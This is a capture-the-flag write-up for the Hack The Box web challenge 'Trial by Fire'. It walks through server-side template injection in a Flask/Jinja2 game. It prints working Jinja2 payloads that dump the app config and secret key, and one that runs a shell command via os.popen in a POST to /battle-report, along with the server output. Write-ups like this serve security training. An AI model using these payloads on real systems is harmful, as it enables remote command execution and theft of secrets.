Writeup: Trial by Fire - Server-Side Template Injection

"Trial by Fire" is a web-based CTF challenge set in the Flame Peaks, where players confront a Fire Drake guarding the Emberstone. The application, built with Flask and Jinja2, runs in a Docker container on port 1337. Provided source files included:

  • Dockerfile and build scripts
  • app.py (Flask application)
  • DragonGame JavaScript class
  • HTML templates
  • Configuration snippets

The goal was to exploit a vulnerability to uncover the flag.

Initial Exploration

The application starts at the homepage (/), where players enter a "warrior name" before battling the Fire Drake at /flamedrake. Combat involves actions like "Sword Strike," "Fireball," "Lightning Strike," and an "Ancient Capture Device" (leet button). Post-battle, a report is generated at /battle-report.

The narrative mentioned "illusions" and "template scrolls," hinting at Server-Side Template Injection (SSTI). The Flask app's structure was revealed in app.py:

from flask import Flask
from application.blueprints.routes import web

class HTB(Flask):
    def process_response(self, response):
        response.headers['Server'] = 'FlameDrake/1.0 (Infernal Engine)'
        super(HTB, self).process_response(response)
        return response

app = HTB(__name__)
app.config.from_object('application.config.Config')
app.register_blueprint(web, url_prefix='/')

The HTB class customizes Flask, setting a Server header, and loads configuration from application.config.Config. Routes are defined in the web blueprint.

Testing for SSTI

A hint appeared after clicking the "leet" button (up arrow):

  • Log Output: "A glowing rune appears: '{{ url_for.globals }}' unlocks the ancient secrets!" This suggested Jinja2 processed the warrior name, indicating an SSTI vulnerability.

I entered {{ url_for.__globals__ }} as the warrior name and checked the /battle-report source:

<p class="nes-text is-primary warrior-name">{'__name__': 'flask.app', '__doc__': None, '__package__': 'flask', '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7ff0c964e4b0>, '__spec__': ModuleSpec(name='flask.app', ...), '__file__': '/app/venv/lib/python3.12/site-packages/flask/app.py', ..., 'os': <module 'os' (frozen)>, 'current_app': <HTB 'application.app'>, 'config': <Config {'DEBUG': False, 'SECRET_KEY': '759e5f40...', ...}>, ...}</p>

This exposed the Flask global namespace, including:

  • os module
  • current_app (<HTB 'application.app'>)
  • Configuration details

Configuration Analysis

The app.config.from_object('application.config.Config') line led me to explore the configuration. The Config class was provided:

import os

class Config(object):
    SECRET_KEY = os.urandom(69).hex()

class ProductionConfig(Config):
    pass

class DevelopmentConfig(Config):
    DEBUG = True

class TestingConfig(Config):
    TESTING = True

The base Config class generates a random SECRET_KEY (69 bytes, hex-encoded). I injected {{ config }} as the warrior name:

<p class="nes-text is-primary warrior-name"><Config {'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'SECRET_KEY': '759e5f407f597055dbdff1b521e327af72306677f80d9dcd0ae9acf3494a1a1274d1fe148b38b8e02eceae0ef338f35788aa7724bcb0d7d35ff44b8d4a0dc4b11b66f7829c', 'SECRET_KEY_FALLBACKS': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(days=31), 'USE_X_SENDFILE': False, 'TRUSTED_HOSTS': None, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_PARTITIONED': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'MAX_FORM_MEMORY_SIZE': 500000, 'MAX_FORM_PARTS': 1000, 'SEND_FILE_MAX_AGE_DEFAULT': None, 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'PROVIDE_AUTOMATIC_OPTIONS': True}></p>

The SECRET_KEY was:

759e5f407f597055dbdff1b521e327af72306677f80d9dcd0ae9acf3494a1a1274d1fe148b38b8e02eceae0ef338f35788aa7724bcb0d7d35ff44b8d4a0dc4b11b66f7829c

(138 characters, matching 69 bytes hex-encoded.)

Hex Decoding Attempt

Given the hint "decode the hex," I tried decoding the SECRET_KEY:

import binascii

hex_string = "759e5f407f597055dbdff1b521e327af72306677f80d9dcd0ae9acf3494a1a1274d1fe148b38b8e02eceae0ef338f35788aa7724bcb0d7d35ff44b8d4a0dc4b11b66f7829c"
decoded = binascii.unhexlify(hex_string).decode('utf-8', errors='ignore')
# Output: "u_p@yUÛÿµ!#gwwðÞÍ4JÍ.>.îî.3ÿMØ.J.k.f.."

I explored further with {{ url_for.__globals__.app.url_map }}:

  • Output: List of routes (/, /flamedrake, /battle-report, etc.) No flag emerged.

Breakthrough: POST Request Exploitation

The user discovered the /battle-report endpoint accepted POST requests with battle stats:

  • Parameters: damage_dealt, damage_taken, spells_cast, turns_survived, outcome, battle_duration

They injected an SSTI payload into damage_dealt:

http://94.237.54.190:55710/battle-report
POST: damage_dealt={{ url_for.__globals__.os.popen('cat flag.txt').read() }}&damage_taken=125&spells_cast=2&turns_survived=4&outcome=defeat&battle_duration=53.216

Response:

<p>🗡️ Damage Dealt: <span class="nes-text is-success">HTB{Fl4m3_P34ks_Tr14l_Burn5_Br1ght_089d4c57fa2f6fd95158e179de0c5985}</span></p>

An image to describe post

How It Worked

The /battle-report endpoint rendered POST parameters into a Jinja2 template without sanitization:

  • {{ url_for.__globals__.os.popen('cat flag.txt').read() }}:
    • url_for.__globals__: Accessed Flask’s global namespace
    • os.popen('cat flag.txt'): Executed a shell command to read flag.txt
    • .read(): Captured the output (the flag)
  • The flag was embedded in the HTML response.

This revealed a second SSTI vulnerability beyond the warrior name field or any other field in the battle report.

Connection to Provided Files

  • Screenshots: Confirmed initial SSTI in the warrior name (image_af34c3.png showed the globals hint).
  • app.py: Defined the Flask app and config loading, guiding exploration of config.
  • Config Output: Provided the SECRET_KEY, though not the flag, it ruled out config-based solutions.
  • DragonGame JS: Showed the game flow, hinting at /battle-report as a post-battle endpoint.

The warrior name SSTI helped identify the vulnerability, but the POST manipulation was the key.

Final Flag

Flag: HTB{Fl4m3_P34ks_Tr14l_Burn5_Br1ght_089d4c57fa2f6fd95158e179de0c5985}

Conclusion

"Trial by Fire" featured two SSTI vulnerabilities:

  1. Warrior Name: Allowed introspection of globals and config (e.g., SECRET_KEY).
  2. POST Parameters: Enabled arbitrary command execution at /battle-report.

The journey involved:

  • Confirming SSTI via warrior name injections
  • Exploring app.py and configuration
  • Decoding SECRET_KEY (a red herring)
  • Exploiting the POST endpoint directly

This underscores the dangers of unsanitized template inputs in web applications.